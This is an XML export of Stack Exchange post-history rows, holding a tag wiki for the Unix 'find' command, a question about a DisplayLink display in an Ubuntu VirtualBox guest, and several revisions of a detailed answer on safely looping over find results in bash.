  <row Id="25468" PostHistoryTypeId="5" PostId="1952" RevisionGUID="cb6f54c5-bf7e-41d2-950c-767ea211656b" CreationDate="2011-04-03T23:07:01.013" UserId="885" Comment="deleted 172 characters in body; added 87 characters in body" Text="`find` is a utility to search a directory tree for files matching certain criteria (name, type, date, …) and print their names or execute commands on them.&#xD;&#xA;&#xD;&#xA;### Common idioms&#xD;&#xA;&#xD;&#xA;List all the regular files in the current directory and its subdirectories:&#xD;&#xA;&#xD;&#xA;    find . -type f&#xD;&#xA;&#xD;&#xA;Same, but do not recurse into directories called `.svn`:&#xD;&#xA;&#xD;&#xA;    find . -type d -name .svn -prune -o -type f -print&#xD;&#xA;&#xD;&#xA;Recode all `*.txt` files in the current directory and its subdirectories from latin1 to utf8 (two equivalent commands):&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.txt' -exec recode latin1..utf8 {} +&#xD;&#xA;    find . -type f -name '*.txt' -print0 | xargs -0 recode latin1..utf8&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/99/best-way-run-a-command-on-each-file-in-a-directory-tree&#xD;&#xA;* http://unix.stackexchange.com/questions/5888/how-to-apply-recursively-chmod-directories-without-affecting-files&#xD;&#xA;* http://unix.stackexchange.com/questions/9496/looping-through-files-with-spaces-in-the-names&#xD;&#xA;* http://unix.stackexchange.com/questions/3682/whats-the-in-find-path-exec-command-do&#xD;&#xA;" />
  <row Id="25469" PostHistoryTypeId="5" PostId="1953" RevisionGUID="ca8d9c32-a643-4967-9da2-9a14a1eb5f7a" CreationDate="2011-04-03T23:07:29.203" UserId="885" Comment="added 27 characters in body" Text="find is a command line utility to search for files in a directory hierarchy" />
  <row Id="25470" PostHistoryTypeId="2" PostId="10568" RevisionGUID="2e6febb9-56d1-424e-9726-9c3b875b8f4b" CreationDate="2011-04-03T23:31:44.507" UserId="1049" Text="I have a virtual machine running Ubuntu 10.04 32-bit. Using the tools provided with VirtualBox, I have added a [DisplayLink](http://en.wikipedia.org/wiki/DisplayLink) device to the VM and created the following `xorg.conf` file:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier      &quot;Server Layout&quot;&#xD;&#xA;        Screen  0       &quot;DisplayLinkScreen&quot; 0 0&#xD;&#xA;        Option          &quot;Xinerama&quot; &quot;off&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Files&quot;&#xD;&#xA;        ModulePath      &quot;/usr/lib/xorg/modules&quot;&#xD;&#xA;        ModulePath      &quot;/usr/local/lib/xorg/modules&quot;&#xD;&#xA;        ModulePath      &quot;/usr/local/lib/xorg/modules/drivers&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;############### DisplayLink Stuff ###############&#xD;&#xA;&#xD;&#xA;Section &quot;Device&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkDevice&quot;&#xD;&#xA;        driver          &quot;displaylink&quot;&#xD;&#xA;        Option  &quot;fbdev&quot; &quot;/dev/fb1&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Monitor&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkMonitor&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Screen&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkScreen&quot;&#xD;&#xA;        Device          &quot;DisplayLinkDevice&quot;&#xD;&#xA;        Monitor         &quot;DisplayLinkMonitor&quot;&#xD;&#xA;        SubSection &quot;Display&quot;&#xD;&#xA;                Depth   16&#xD;&#xA;                Modes   &quot;800x480&quot;&#xD;&#xA;        EndSubSection&#xD;&#xA;EndSection&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;This works to a small degree - the DisplayLink device turns green, and eventually a purple desktop with my icons appear on it. The actual VBox window is blank. The problem is that:&#xD;&#xA;&#xD;&#xA; - the Gnome panel does not load&#xD;&#xA; - I can't right-click&#xD;&#xA;&#xD;&#xA;I tried pressing `Ctrl+F1` and the console displays in the VBox window. Pressing `Ctrl+F7` after that does nothing. I have to press `Ctrl+F8` to get back to the GUI. This leads me to believe that there's an extra display in there somewhere.&#xD;&#xA;&#xD;&#xA;I *have* installed Guest Additions if that helps." />
  <row Id="25471" PostHistoryTypeId="1" PostId="10568" RevisionGUID="2e6febb9-56d1-424e-9726-9c3b875b8f4b" CreationDate="2011-04-03T23:31:44.507" UserId="1049" Text="Trouble with DisplayLink device in Linux virtual machine." />
  <row Id="25472" PostHistoryTypeId="3" PostId="10568" RevisionGUID="2e6febb9-56d1-424e-9726-9c3b875b8f4b" CreationDate="2011-04-03T23:31:44.507" UserId="1049" Text="évirtualömachineàédisplayösettingsàédisplaylinkà" />
  <row Id="25473" PostHistoryTypeId="5" PostId="9499" RevisionGUID="aa9a9938-a499-4bd2-9927-c0c4795c0a53" CreationDate="2011-04-03T23:46:58.320" UserId="3169" Comment="add lots of details, add an answer based on Gilles' answer, because I think his is the best, but the question is now inactive, and mine is the top answer" Text="**Short answer (closest to your answer, but handles spaces)**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -type f -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read line&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;**Better answer (also handles wildcards and newlines in file names)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Best answer (based on Gilles' answer)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have three problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;3. What if there is a directory whose name ends in `*.csv`?&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now and runs the loop.  Then it starts where it left off to get the next file name, and runs the next loop, etc., until it reaches the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;That is probably enough to get your script working, but if you're interested to handle some other corner cases properly, read on...&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;Inside the loop where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;It could contain spaces, but since we already set `IFS` above, that won't be a problem here.&#xD;&#xA;&#xD;&#xA;But it could also contain wildcard characters such as `*` or `?`, which would lead to unpredictable behavior.  (Thanks to Gilles for pointing this out.)&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g. `&quot;$file&quot;`.&#xD;&#xA;&#xD;&#xA;The same problem could also bite us in&#xD;&#xA;&#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`&#xD;&#xA;&#xD;&#xA;For example, if you had these three files&#xD;&#xA;&#xD;&#xA;    file1.csv&#xD;&#xA;    file2.csv&#xD;&#xA;    *.csv&#xD;&#xA;&#xD;&#xA;(very unlikely, but still possible)&#xD;&#xA;&#xD;&#xA;It would be as if you had run&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv&#xD;&#xA;&#xD;&#xA;which will get expanded to&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv file1.csv file2.csv&#xD;&#xA;&#xD;&#xA;causing `file1.csv` and `file2.csv` to be processed twice.&#xD;&#xA;&#xD;&#xA;Instead, we have to do&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print | while IFS=$'\n' read -r file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note that `read line` has changed to `read line &lt;/dev/tty`.  This is because inside the loop, standard input is coming from `find` via the pipeline.  If we just did `read`, it would be consuming part or all of a file name, and some files would be skipped.  `/dev/tty` is the terminal where the user is running the script from.  (Note that this will cause an error if the script is run via cron, but I assume this is not important in this case.)&#xD;&#xA;&#xD;&#xA;Then, what if a file name contains newlines?&#xD;&#xA;&#xD;&#xA;We can handle that by changing `-print` to `-print0` and using a `bash` feature of `read`:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read char &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Or a more portable way (again, thanks to Gilles):&#xD;&#xA;&#xD;&#xA;    find . -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read char &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;**3. Skipping directories whose names end in *.csv**&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot;&#xD;&#xA;&#xD;&#xA;will also match directories that are called `something.csv`.&#xD;&#xA;&#xD;&#xA;To avoid this, add `-type f` to the `find` command.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;These days, `$(command)` is more common than ``` `command` ```.  This is mainly because it's easier to write `$(command1 $(command2))` than ``` `command1 \`command2\`` ```.&#xD;&#xA;&#xD;&#xA;`read char` doesn't really read a character.  It reads a whole line so I changed it to `read line`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion" />
  <row Id="25474" PostHistoryTypeId="5" PostId="9499" RevisionGUID="8c2f2aaa-5d77-4b9f-a741-154e7f014c1c" CreationDate="2011-04-03T23:53:02.610" UserId="3169" Comment="added 435 characters in body; added 34 characters in body" Text="**Short answer (closest to your answer, but handles spaces)**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -type f -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read line&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;**Better answer (also handles wildcards and newlines in file names)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Best answer (based on Gilles' answer)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have three problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;3. What if there is a directory whose name ends in `*.csv`?&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now and runs the loop.  Then it starts where it left off to get the next file name, and runs the next loop, etc., until it reaches the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;That is probably enough to get your script working, but if you're interested to handle some other corner cases properly, read on...&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;Inside the loop where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;It could contain spaces, but since we already set `IFS` above, that won't be a problem here.&#xD;&#xA;&#xD;&#xA;But it could also contain wildcard characters such as `*` or `?`, which would lead to unpredictable behavior.  (Thanks to Gilles for pointing this out.)&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g.&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;&#xD;&#xA;The same problem could also bite us in&#xD;&#xA;&#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`&#xD;&#xA;&#xD;&#xA;For example, if you had these three files&#xD;&#xA;&#xD;&#xA;    file1.csv&#xD;&#xA;    file2.csv&#xD;&#xA;    *.csv&#xD;&#xA;&#xD;&#xA;(very unlikely, but still possible)&#xD;&#xA;&#xD;&#xA;It would be as if you had run&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv&#xD;&#xA;&#xD;&#xA;which will get expanded to&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv file1.csv file2.csv&#xD;&#xA;&#xD;&#xA;causing `file1.csv` and `file2.csv` to be processed twice.&#xD;&#xA;&#xD;&#xA;Instead, we have to do&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print | while IFS=$'\n' read -r file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note that `read line` has changed to `read line &lt;/dev/tty`.  This is because inside the loop, standard input is coming from `find` via the pipeline.  If we just did `read`, it would be consuming part or all of a file name, and some files would be skipped.  `/dev/tty` is the terminal where the user is running the script from.  (Note that this will cause an error if the script is run via cron, but I assume this is not important in this case.)&#xD;&#xA;&#xD;&#xA;Then, what if a file name contains newlines?&#xD;&#xA;&#xD;&#xA;We can handle that by changing `-print` to `-print0` and using `read -d $'\0'` on the end of a pipeline:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read char &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This makes `find` put a null byte at the end of each file name.  Null bytes are the only characters not allowed in file names, so this should handle all possible file names, no matter how weird.&#xD;&#xA;&#xD;&#xA;To get the file name on the other side, we use `read -d $'\0'`.  `$'\0'` is how you write a null byte in `bash`.  The `-d` option tells read that each line of input is terminated with a null byte, rather than a newline.&#xD;&#xA;&#xD;&#xA;Or a more portable way (again, thanks to Gilles):&#xD;&#xA;&#xD;&#xA;    find . -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read char &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;**3. Skipping directories whose names end in *.csv**&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot;&#xD;&#xA;&#xD;&#xA;will also match directories that are called `something.csv`.&#xD;&#xA;&#xD;&#xA;To avoid this, add `-type f` to the `find` command.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;These days, `$(command)` is more common than ``` `command` ```.  This is mainly because it's easier to write `$(command1 $(command2))` than ``` `command1 \`command2\`` ```.&#xD;&#xA;&#xD;&#xA;`read char` doesn't really read a character.  It reads a whole line so I changed it to `read line`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion" />
  <row Id="25475" PostHistoryTypeId="25" PostId="10565" RevisionGUID="071fae69-908b-4425-a612-41471e040bf0" CreationDate="2011-04-04T00:08:59.583" Comment="http://twitter.com/#!/StackUnix/status/54696931817041920" />
  <row Id="25476" PostHistoryTypeId="5" PostId="9499" RevisionGUID="bd92be68-d7fd-458e-a2cd-1f9000fb1c43" CreationDate="2011-04-04T00:10:29.603" UserId="3169" Comment="added 857 characters in body" Text="**Short answer (closest to your answer, but handles spaces)**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -type f -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read line&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;**Better answer (also handles wildcards and newlines in file names)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Best answer (based on Gilles' answer)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have three problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;3. What if there is a directory whose name ends in `*.csv`?&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now and runs the loop.  Then it starts where it left off to get the next file name, and runs the next loop, etc., until it reaches the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;That is probably enough to get your script working, but if you're interested to handle some other corner cases properly, read on...&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;Inside the loop where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;It could contain spaces, but since we already set `IFS` above, that won't be a problem here.&#xD;&#xA;&#xD;&#xA;But it could also contain wildcard characters such as `*` or `?`, which would lead to unpredictable behavior.  (Thanks to Gilles for pointing this out.)&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g.&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;&#xD;&#xA;The same problem could also bite us in&#xD;&#xA;&#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`&#xD;&#xA;&#xD;&#xA;For example, if you had these three files&#xD;&#xA;&#xD;&#xA;    file1.csv&#xD;&#xA;    file2.csv&#xD;&#xA;    *.csv&#xD;&#xA;&#xD;&#xA;(very unlikely, but still possible)&#xD;&#xA;&#xD;&#xA;It would be as if you had run&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv&#xD;&#xA;&#xD;&#xA;which will get expanded to&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv file1.csv file2.csv&#xD;&#xA;&#xD;&#xA;causing `file1.csv` and `file2.csv` to be processed twice.&#xD;&#xA;&#xD;&#xA;Instead, we have to do&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print | while IFS=$'\n' read -r file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note that `read line` has changed to `read line &lt;/dev/tty`.  This is because inside the loop, standard input is coming from `find` via the pipeline.  If we just did `read`, it would be consuming part or all of a file name, and some files would be skipped.  `/dev/tty` is the terminal where the user is running the script from.  (Note that this will cause an error if the script is run via cron, but I assume this is not important in this case.)&#xD;&#xA;&#xD;&#xA;Then, what if a file name contains newlines?&#xD;&#xA;&#xD;&#xA;We can handle that by changing `-print` to `-print0` and using `read -d $'\0'` on the end of a pipeline:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read char &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This makes `find` put a null byte at the end of each file name.  Null bytes are the only characters not allowed in file names, so this should handle all possible file names, no matter how weird.&#xD;&#xA;&#xD;&#xA;To get the file name on the other side, we use `read -d $'\0'`.  `$'\0'` is how you write a null byte in `bash`.  The `-d` option tells read that each line of input is terminated with a null byte, rather than a newline.&#xD;&#xA;&#xD;&#xA;Or a more portable way (again, thanks to Gilles):&#xD;&#xA;&#xD;&#xA;    find . -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read char &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;**3. Skipping directories whose names end in *.csv**&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot;&#xD;&#xA;&#xD;&#xA;will also match directories that are called `something.csv`.&#xD;&#xA;&#xD;&#xA;To avoid this, add `-type f` to the `find` command.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;As glenn jackman points out, in both of these examples, the commands to execute for each file are being run in a subshell, so if you change any variables inside the loop, they will be forgotten.&#xD;&#xA;&#xD;&#xA;If you need to set variables and have them still set at the end of the loop, you can rewrite it to use process substitution like this:&#xD;&#xA;&#xD;&#xA;    i=0&#xD;&#xA;    while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;        i=$((i+1))&#xD;&#xA;    done &lt; &lt;(find . -type f -name '*.csv' -print0)&#xD;&#xA;    echo &quot;$i files processed&quot;&#xD;&#xA;&#xD;&#xA;Note that if you try copying and pasting this at the command line, `read line` will consume the `echo &quot;$i files processed&quot;`, so that command won't get run.&#xD;&#xA;&#xD;&#xA;To avoid this, you could remove `read line &lt;/dev/tty` and send the result to a pager like `less`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;These days, `$(command)` is more common than ``` `command` ```.  This is mainly because it's easier to write `$(command1 $(command2))` than ``` `command1 \`command2\`` ```.&#xD;&#xA;&#xD;&#xA;`read char` doesn't really read a character.  It reads a whole line so I changed it to `read line`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion" />
